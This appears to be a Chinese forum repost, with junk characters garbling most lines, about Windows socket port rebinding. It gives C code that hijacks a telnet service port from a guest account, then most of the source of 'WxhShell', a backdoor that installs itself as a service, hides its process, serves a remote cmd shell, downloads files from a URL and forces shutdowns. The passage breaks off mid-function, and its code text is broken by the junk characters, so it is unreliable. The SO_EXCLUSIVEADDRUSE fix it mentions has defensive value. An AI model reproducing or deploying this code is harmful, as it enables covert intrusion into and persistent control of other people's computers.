在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=Xze ).g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ol H{! ;~T)pG8IS saddr.sin_family = AF_INET;
j}XTa[ Q1EY!AV8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#%z--xuJL #Z<pks2
y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[:sP Z{ %y.9S=,v, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&;L4Cj$q }MP2)6 这意味着什么?意味着可以进行如下的攻击:
FP<RoA?W KJWYG^zI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9+@"DuYc6 v'i"Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Hn)K;?H4 c:I1XC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yveyAsN`B Yf.H$L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uW%7X2K ^@l_K +T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*-$u\?$ hj64ES#x 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k|0Fa}Z[ cw.Uy(ks|$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?GqFtNz uA=6 HpDB #include
nV 38Mj2U #include
x&sT )=# #include
:,rD5aOQ #include
4 q}1 DWORD WINAPI ClientThread(LPVOID lpParam);
1<A+.W int main()
k$:QpTg[ {
:|`'\%zW- WORD wVersionRequested;
cd{3JGgB DWORD ret;
wpu]{~Y WSADATA wsaData;
2!>phE BOOL val;
&:= SOCKADDR_IN saddr;
Gp9>R~$ SOCKADDR_IN scaddr;
{YZ)IaqZ int err;
C.L5\"% SOCKET s;
$de_> SOCKET sc;
(Tp+43v int caddsize;
RtH[OZu(8 HANDLE mt;
%(;jx DWORD tid;
C&D]!ZvF wVersionRequested = MAKEWORD( 2, 2 );
W~p^AHco` err = WSAStartup( wVersionRequested, &wsaData );
d=WC1" if ( err != 0 ) {
qyl~*r* printf("error!WSAStartup failed!\n");
ju0]~, return -1;
%8/Gsu; }
% \N.m/5 saddr.sin_family = AF_INET;
//@_`. \<|a>{`7]i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=bs4*[zq F3jrJ+nJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XOa<R saddr.sin_port = htons(23);
&=fBqod if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/eDah3%d {
R<LW*8 printf("error!socket failed!\n");
%_u*5,w return -1;
:i0xer }
a8M.EFa: val = TRUE;
DamLkkoA
//SO_REUSEADDR选项就是可以实现端口重绑定的
&=|W95 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w3Aq[1U0 {
9pE)S^P printf("error!setsockopt failed!\n");
%8`zaa return -1;
95(c{
l/ }
GiHJr1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^i&Qr+v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)ZzwD] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]]o7ej i051qpj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vq$%Ug/B {
\F,?ptu ret=GetLastError();
;1S{xd*^N printf("error!bind failed!\n");
]w%7/N0R return -1;
6v GcM3M }
Gcg`Knr listen(s,2);
N\H{p%8 while(1)
\ ^EjE {
eC9~
wc caddsize = sizeof(scaddr);
]=9%fA //接受连接请求
q "bpI8j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
598xV|TON if(sc!=INVALID_SOCKET)
x)G/YUv76 {
L3Ry#uw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*Dh.'bB! if(mt==NULL)
L"zOa90ig {
b9EJLD printf("Thread Creat Failed!\n");
8/b_4!5c break;
0'^? m$ }
R- `{W:S }
OI %v>ns CloseHandle(mt);
@U;-5KYYi }
v7O{8K+ closesocket(s);
x0.&fCh% WSACleanup();
z-[Jbjhd return 0;
w|Zq5|[ }
aEXV^5;,pJ DWORD WINAPI ClientThread(LPVOID lpParam)
\#tr4g~u {
qfC9 {gu SOCKET ss = (SOCKET)lpParam;
0J$wX yh SOCKET sc;
4}580mBc unsigned char buf[4096];
f:7Y SOCKADDR_IN saddr;
++,mM7a long num;
Ze WHSU
DWORD val;
TuIeaH% x DWORD ret;
8i-?\VZD //如果是隐藏端口应用的话,可以在此处加一些判断
TW3:Y\ p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!SJmu}OB] saddr.sin_family = AF_INET;
cJ]`/YJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t8GJ; saddr.sin_port = htons(23);
\Zoo9Wy
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q,u>`]} {
Uj k``; printf("error!socket failed!\n");
5F^,7A4I0 return -1;
NWCnt,FlY }
l[ @\!;| val = 100;
iCAd7=o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H _3gVrP_ {
D:n0dfPU ret = GetLastError();
wO8^|Yf return -1;
<@*mFq0 , }
9-Ib+/R0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lS?f?n^ {
ip>dHj
z ret = GetLastError();
IZAbW return -1;
GmAE!+" }
apY m,_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u8o7J(aQsR {
9\Xl3j! printf("error!socket connect failed!\n");
3M1(an\nW closesocket(sc);
e1<28g closesocket(ss);
"a,Tc2xk return -1;
@Zq,mPaR$ }
_LK>3Sqd while(1)
S^x9 2&! {
y]?$zbB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"g=ux^+X\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
n1sH`C[c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`=-}S+ num = recv(ss,buf,4096,0);
$S,Uoh if(num>0)
6_XX[.% send(sc,buf,num,0);
T7W+K7kbI else if(num==0)
*ac#wEd break;
ppV\FQ{K num = recv(sc,buf,4096,0);
Ce_Z
&? if(num>0)
~MhPzu&B send(ss,buf,num,0);
]KuK\(\ else if(num==0)
dk(-yv' break;
}U^9( }
[MiD%FfcNH closesocket(ss);
ZgXh[UHQy closesocket(sc);
H}U&=w' return 0 ;
|LNXu }
l^Lg"m2 ]iz5VI@ G&uj}rj ==========================================================
PTePSj1N *=2jteG=3. 下边附上一个代码,,WXhSHELL
ZVGw@3 $%t{O[( ==========================================================
fi?[ e?|c@ %pwm34 #include "stdafx.h"
MfL q
h ^k)f oD #include <stdio.h>
kW,yZ.?f #include <string.h>
T|{BT!
W1E #include <windows.h>
<0kRky$ #include <winsock2.h>
9*2hBNp+ #include <winsvc.h>
+5({~2Lzvp #include <urlmon.h>
^mz_T+UOe gj'ar #pragma comment (lib, "Ws2_32.lib")
%^5$=w #pragma comment (lib, "urlmon.lib")
(K?[gI hh8UKEM- #define MAX_USER 100 // 最大客户端连接数
17
j7j@s) #define BUF_SOCK 200 // sock buffer
]&r/H17 #define KEY_BUFF 255 // 输入 buffer
N{q'wep r+lY9l #define REBOOT 0 // 重启
R]V`t^1 #define SHUTDOWN 1 // 关机
jr9ZRHCU 3p^WTQ>( #define DEF_PORT 5000 // 监听端口
d&ZwVF! `r]Cd
{G #define REG_LEN 16 // 注册表键长度
{(tE pr #define SVC_LEN 80 // NT服务名长度
$PTedJ}*Y 7H[+iS0 // 从dll定义API
g
Sa ,A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#!hpe^t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}j:ae \( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
S"eKiS,z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2
G"p:iPp +f7?L]wzic // wxhshell配置信息
h:GOcLYM@X struct WSCFG {
ebao7r5@ int ws_port; // 监听端口
t|y4kM char ws_passstr[REG_LEN]; // 口令
W4#:_R,&, int ws_autoins; // 安装标记, 1=yes 0=no
=~arj char ws_regname[REG_LEN]; // 注册表键名
r2<+ =INn char ws_svcname[REG_LEN]; // 服务名
IIu3mXAw char ws_svcdisp[SVC_LEN]; // 服务显示名
FVD}9ia char ws_svcdesc[SVC_LEN]; // 服务描述信息
6?a(@<k_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(Dn-vY' int ws_downexe; // 下载执行标记, 1=yes 0=no
.(hb8 rCM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&x3"Rq_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<r\)hx0ov siG?Sd_2 };
yNT2kB' E8j9@BHU[r // default Wxhshell configuration
wM yPR_ struct WSCFG wscfg={DEF_PORT,
n$Pv2qw "xuhuanlingzhe",
JRiuU:=J~` 1,
\W\6m0-x "Wxhshell",
KXM-GIRUG "Wxhshell",
FQ87[|
S "WxhShell Service",
M\<!m^~ "Wrsky Windows CmdShell Service",
u+R?N%
EKP "Please Input Your Password: ",
2+P3Sii 1,
Mb9q<4 "
http://www.wrsky.com/wxhshell.exe",
tFSdi.|G= "Wxhshell.exe"
d,[KcX };
wYxizNv, ef.lM]cO // 消息定义模块
)N6R# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p/5!a~1'xN char *msg_ws_prompt="\n\r? for help\n\r#>";
q-o>yjT~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lt$797 char *msg_ws_ext="\n\rExit.";
c,-x}i0c char *msg_ws_end="\n\rQuit.";
'LOqGpmVc char *msg_ws_boot="\n\rReboot...";
^GAdl} char *msg_ws_poff="\n\rShutdown...";
oy`m:Xp char *msg_ws_down="\n\rSave to ";
g:6yvEu$ - ^&<*$Ai~ char *msg_ws_err="\n\rErr!";
s7
KKH
w char *msg_ws_ok="\n\rOK!";
c%U$qao=c+ 6vjB;uS[ char ExeFile[MAX_PATH];
@uE=)mP@ int nUser = 0;
B~aOs>1
S] HANDLE handles[MAX_USER];
\I'Zc] int OsIsNt;
`kv$B3 R P X`2zr SERVICE_STATUS serviceStatus;
o"FX+17 SERVICE_STATUS_HANDLE hServiceStatusHandle;
v\k,,sI [!q&r(-K // 函数声明
]EcZ|c7o9y int Install(void);
0>;#vEF*1 int Uninstall(void);
{x4[Bx1 int DownloadFile(char *sURL, SOCKET wsh);
FezW/+D int Boot(int flag);
otIJ[Mvyq void HideProc(void);
^(\Gonf< int GetOsVer(void);
{UmCn>c int Wxhshell(SOCKET wsl);
8k1r|s@d void TalkWithClient(void *cs);
z\h+6FCD int CmdShell(SOCKET sock);
#-Rz`Y<& int StartFromService(void);
aK&+p#4t int StartWxhshell(LPSTR lpCmdLine);
vedMzef[@> _Ry.Wth VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6uXW`/lvX VOID WINAPI NTServiceHandler( DWORD fdwControl );
0oJ^a^| 7qUtsDK // 数据结构和表定义
,%'0e/ SERVICE_TABLE_ENTRY DispatchTable[] =
r:5Ve&~ {
u`'z~N4} {wscfg.ws_svcname, NTServiceMain},
1b7xw#gLx {NULL, NULL}
,SM- Z`' };
:I'Ezxv| -Wn.@bz6B // 自我安装
'*XNgvX int Install(void)
Q Bw
ZfX {
\l:g{GnoT char svExeFile[MAX_PATH];
0xxzhlKNL HKEY key;
A]+h<Y~} strcpy(svExeFile,ExeFile);
eE{L>u :.Qe=}9 // 如果是win9x系统,修改注册表设为自启动
sBb.Y
k if(!OsIsNt) {
1a$V{Eag if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5y3TlR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Crhi+D RegCloseKey(key);
/8MQqZ C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y9L#@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Wh Zaq RegCloseKey(key);
B# ?2, return 0;
n2{{S(N }
@."o:K }
IPVzV\o }
BR^J y<^F' else {
Vrj1$NL% iW}l[g8sw! // 如果是NT以上系统,安装为系统服务
J=X%
xb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<VU4rk^= if (schSCManager!=0)
y,&M\3A {
hcgc
=$^ SC_HANDLE schService = CreateService
p},Fwbl (
.G_3blE; schSCManager,
M#cr*% wscfg.ws_svcname,
iHn!KV wscfg.ws_svcdisp,
Jo3(bl%u SERVICE_ALL_ACCESS,
1mJ_I|98 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
uvDoo6' SERVICE_AUTO_START,
iL_F*iK5 SERVICE_ERROR_NORMAL,
@sHw+to|p) svExeFile,
:#[_Osmf( NULL,
gww^?j# NULL,
vNt>ESPB NULL,
=_=Z;#`cXk NULL,
b_jZL'en NULL
eqZ+no );
-+rF]|Wi if (schService!=0)
#a | ch6B {
kLVn(dC " CloseServiceHandle(schService);
paNw5]
-
CloseServiceHandle(schSCManager);
egvy#2b@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0BCGJFZ{ strcat(svExeFile,wscfg.ws_svcname);
OJsd[l3xR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<i'u96 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
),]2`w&k RegCloseKey(key);
H@MFj>~ return 0;
[-t> G!) }
'95E;RV& }
)6>|bmpU CloseServiceHandle(schSCManager);
a*':W%7 }
K@P`_yxN }
EotwUT| e?| URW return 1;
T]6c9_ }
V<vPFxC >yBxa) // 自我卸载
akhL\-d)al int Uninstall(void)
%L
j0 {
%x6Ov\s2 HKEY key;
6
r.H8 gXu^" if(!OsIsNt) {
AM[jL'r| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
% R|"Afa= RegDeleteValue(key,wscfg.ws_regname);
e[QxFg0E RegCloseKey(key);
)4~sQ^} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VS9]po>= RegDeleteValue(key,wscfg.ws_regname);
XalJo@%- RegCloseKey(key);
9c6GYWIFt& return 0;
43>9)t }
Pc(n@'m~ }
|[Ie.&) }
,MM>cOQ else {
WY"Y)S X&(ERY,h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#$=8g
RZj if (schSCManager!=0)
H=&/ Q {
(9}eF)+O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@yt2_ if (schService!=0)
RM&H!E<# {
b6nZ55 h if(DeleteService(schService)!=0) {
$>r>0S#+\& CloseServiceHandle(schService);
S\9t4Ki_' CloseServiceHandle(schSCManager);
6~ 7 ;o_> return 0;
@fqV0l!GR }
I
f3{E CloseServiceHandle(schService);
A~SL5h }
2;4]PRD6w CloseServiceHandle(schSCManager);
<!~1{`n%9J }
@VC .> }
LZr0]g{Pu/ G#e9$! return 1;
(!*Xhz,(- }
tL~,ZCQz E- )VPZ1D // 从指定url下载文件
]3t1=+ int DownloadFile(char *sURL, SOCKET wsh)
x}?DkFuxb {
>gk z4.* HRESULT hr;
dG\U)WA(p char seps[]= "/";
]<kupaRQ char *token;
S jVsF1d_ char *file;
X,TTM,1w char myURL[MAX_PATH];
_[OF"X2 char myFILE[MAX_PATH];
U{uPt*GUd/ u C,"5C strcpy(myURL,sURL);
]C16y.
~e token=strtok(myURL,seps);
Z5G]p4 while(token!=NULL)
]V36-%^ {
R:'Ou:Mh file=token;
)MWUS;O< token=strtok(NULL,seps);
vi]r }
qoC]#M$oo# +yf(Rs)! GetCurrentDirectory(MAX_PATH,myFILE);
(C daE!I4Q strcat(myFILE, "\\");
D##+)`dK strcat(myFILE, file);
B_{HkQ.PW send(wsh,myFILE,strlen(myFILE),0);
}p~OCW! send(wsh,"...",3,0);
6'xomRpYN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B7!<{i if(hr==S_OK)
_u&>&,:q return 0;
T@TIzz else
%#~((m1 return 1;
n*4lz^LR oZTgN .q }
4k8*E5cx <9P4}`%)3 // 系统电源模块
M|\^UF2e int Boot(int flag)
o#qH2)tb {
CRH{E}> HANDLE hToken;
#6Jc}g<?g TOKEN_PRIVILEGES tkp;
t,
U)
~wi *GQDfs`m if(OsIsNt) {
pzp,t(%j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&+ KyPY+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t3PtKgP-6 tkp.PrivilegeCount = 1;
7vn%kW=$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L}'Yd' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&&=[Ivv if(flag==REBOOT) {
hAm/mu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%2f//SZ: return 0;
NJtQx2Sd'H }
wV(AT$ else {
_7U]&Nh99 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X1+wX`f return 0;
J/2j;,8D }
:Sr?6FPc }
~+yZfOcw else {
_V@WNo%B if(flag==REBOOT) {
HBH$
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i
AdGgK return 0;
X) V7bVW }
[4sEVu} else {
0ZMJ(C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M=O Czgj return 0;
XZ`:wmc| }
3jjMY }
r-}-C! nq"evD5 return 1;
\v+u;6cx_ }
~#R9i^Y -$(Jk< // win9x进程隐藏模块
jMM$ d,7B void HideProc(void)
MJ`N,E[ {
8WL8/ +#2)kg 9_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~ 3^='o if ( hKernel != NULL )
]hA,LY f {
LxLy+yC#p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!\FkG8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+oI3I~ FreeLibrary(hKernel);
q2hFOm }
%SrM|&[ j9d!yW return;
> _ <'D }
@@@=}!<H= =pcF:D#+ // 获取操作系统版本
&?0:v`4Y int GetOsVer(void)
s,6`RI% {
y}FZD?" OSVERSIONINFO winfo;
)KE[!ofD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z:*@5 GetVersionEx(&winfo);
j%L&jH6@
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fmfTSN(Q~` return 1;
VIC0}LT0R else
Z&Y=`GOI return 0;
$<nCXVqL, }
%@Oma &$'z // 客户端句柄模块
\8S~c8Z~ int Wxhshell(SOCKET wsl)
'$G"[ljr {
)[L^Dmd, SOCKET wsh;
0fm*`4Q struct sockaddr_in client;
J NVr DWORD myID;
n(1')?"mA iYJZvN while(nUser<MAX_USER)
F(5hmr {
/P:.qtT( int nSize=sizeof(client);
Bj Wr5SJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(Glr\q]jF\ if(wsh==INVALID_SOCKET) return 1;
=w$tvo/ /J3ZL[o?Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
a(IY\q[Wh if(handles[nUser]==0)
)@gZ;`n closesocket(wsh);
7j$Pt8$ else
ehNzDr\s nUser++;
WOLuw% }
|TsE-t*E} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
GOT1@.Y )yG"^Ulu return 0;
&<y2q/U} }
fX~'Zk\u 31WC=ur5 // 关闭 socket
Vw tZLP36 void CloseIt(SOCKET wsh)
6E~g# (8 {
2S"Nf8>zp closesocket(wsh);
D&G"BZx| nUser--;
2)X4y"l ExitThread(0);
vI1i,x#i }
^EELaG "9!d]2.-Vk // 客户端请求句柄
0'5/K , void TalkWithClient(void *cs)
0 (U#) {
Fmyj*)J[Z O`G/=/GZ SOCKET wsh=(SOCKET)cs;
=,y |00l char pwd[SVC_LEN];
80b;I|-T, char cmd[KEY_BUFF];
\1"'E@+ char chr[1];
/E;y,o75 int i,j;
d}'U?6ob
h `}} while (nUser < MAX_USER) {
*&BnF\?m V7d)S&*V if(wscfg.ws_passstr) {
*NFg;<:j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)s_n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cD*}..-/4 //ZeroMemory(pwd,KEY_BUFF);
lot%N(mB` i=0;
Ub1hHA*) while(i<SVC_LEN) {
<%.5hCTp97 VKp*9%9 // 设置超时
fhPkEvJ fd_set FdRead;
Sr?#wev]rn struct timeval TimeOut;
qfY5Ww$8 FD_ZERO(&FdRead);
o+w;PP)+= FD_SET(wsh,&FdRead);
Zxr!:t7 TimeOut.tv_sec=8;
!p TJ./ TimeOut.tv_usec=0;
Jn:ZYqc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
dZ#&YG)?e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{7u[1[L1 j#r6b]k(Hv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
YHNR3 pwd
=chr[0]; Snp|!e
if(chr[0]==0xd || chr[0]==0xa) { @"a6fn
pwd=0; 1 `^Rdi0
break; ]aP=Ks%
} <8,o50`B
i++; ~h}Fi
} IV%zO+
SIO&rrT.
// 如果是非法用户,关闭 socket 7tUA>;++
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#U|skl
} **9x?s
F+R?a+e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Zk{!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBl+_/2'w
)?+$x[f!*
while(1) { 1b=lpw1}
Z;9>S=w!
ZeroMemory(cmd,KEY_BUFF); ^b: (jI*l
.2d9?p3Y
// 自动支持客户端 telnet标准 :w}{$v}#D;
j=0; \(226^|j
while(j<KEY_BUFF) { XL#[%X9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {{V8;y
cmd[j]=chr[0]; !cKz7?w
if(chr[0]==0xa || chr[0]==0xd) { B9p?8.[
cmd[j]=0; zp\8_ U@
break; |,9JNm$
} 4XVCHs(
j++; 3bO(?l`3h
} BA\/YW @
coYij
// 下载文件 :0Z^uuk`gq
if(strstr(cmd,"http://")) { ?X@fKAj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n]8<DX99Q0
if(DownloadFile(cmd,wsh)) %X#zj"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~l;[@jsw F
else f{SB1M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )`^p%k
} 6'\6OsH
else { dJ"iEb|4
hW{j\@R
switch(cmd[0]) { &zs'/xv]
DNGvpKY@
// 帮助 +`3!I
case '?': { V_plq6z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P[s8JDqu
break; fw ,\DFHO
} Aw&tP[N[
// 安装 *#TUGfwy
case 'i': { .<kqJ|SVi
if(Install()) KNH1#30 K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<Bynd-
else y%
:4b@<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2]% h$f+
break; Bl=tYp|a
} 9UvXC)R1
// 卸载 eQQ>
case 'r': { ^CwR!I.D}4
if(Uninstall()) [+qCs7'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v[Kxja;
else g{5A4|_7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >X*Mio8P#
break; sz9L8f2
} CI3XzH\IX*
// 显示 wxhshell 所在路径 `/Y{ l
case 'p': {
yf&7P;A
char svExeFile[MAX_PATH]; <&)v~-&O
strcpy(svExeFile,"\n\r"); @&[T _l
strcat(svExeFile,ExeFile); Y@PI {;!
send(wsh,svExeFile,strlen(svExeFile),0); /x3/Ubmz~x
break; l<M'=-Y
} bH"hX
// 重启 {BKl` 1z
case 'b': { j0@[Br %7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ca+[0w@S
if(Boot(REBOOT)) uZ;D!2Q a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=$jGL
else { 7FRmx4(!
closesocket(wsh); IIq1\khh
ExitThread(0); ;sHN/eF
} >>[G1
break; vTv]U5%:>%
} )V!dBl"Gq
// 关机 bXS:x
case 'd': { c6Y\n%d&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;NNe!}C
if(Boot(SHUTDOWN)) kI%%i>Y}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>Efd
else { /lafve~
closesocket(wsh); y\&>ZyOY
ExitThread(0); np~~mdmRK
} MxBTX4ES
break; N/GQt\tV<
} 41fJ%f`
G
// 获取shell {[+2n]f_G
case 's': { Q
X%&~
CmdShell(wsh); ,m,)I
closesocket(wsh); q 4V7
ExitThread(0); s: 3z'4oX
break; 6m6zA/
} <8,cuX\
// 退出 ne^imht
case 'x': { E= `6-H{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1T:Y 0
CloseIt(wsh); 6 PxW8pn
break; iDf,e Kk$'
} u :F~K
// 离开 O@YTAT&d#
case 'q': { Z{H5oUk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bGorH=pb5R
closesocket(wsh); t='# |');
WSACleanup(); ;[a|9TPR
exit(1); r7Ya\0gU
break; GtwT
} hHDOWHWE
} &.Zb,r$Y
} @u1zB:
CpJ0m-7aIH
// 提示信息 uPniLx\t:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B<-kzt
} Uo-`>7
} pC_O:f>vJ
yS=oUE$
return; 6)BR+U
} J+f!Ar
sdS^e`S
// shell模块句柄 ,~?YBLw@c
int CmdShell(SOCKET sock) RN@ctRS
{ =w$}m_AM
STARTUPINFO si; w}CmfR
ZeroMemory(&si,sizeof(si));
GLGz2 ,#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \o';"Q1H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z,|{fKtY}
PROCESS_INFORMATION ProcessInfo; [b$4Shx
char cmdline[]="cmd"; <r3J0)r}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *OyHHq|>q
return 0; T\r@5Xv
} ~/_SMPLo
pa{re,O"e
// 自身启动模式 KWWa&[ev)
int StartFromService(void) ox
;
{ 3
zn W=
typedef struct Ve
4u +0
{ )Jv[xY~
DWORD ExitStatus; kkK
kf'
DWORD PebBaseAddress; t>H`X~SR?
DWORD AffinityMask; K).n.:vYZ
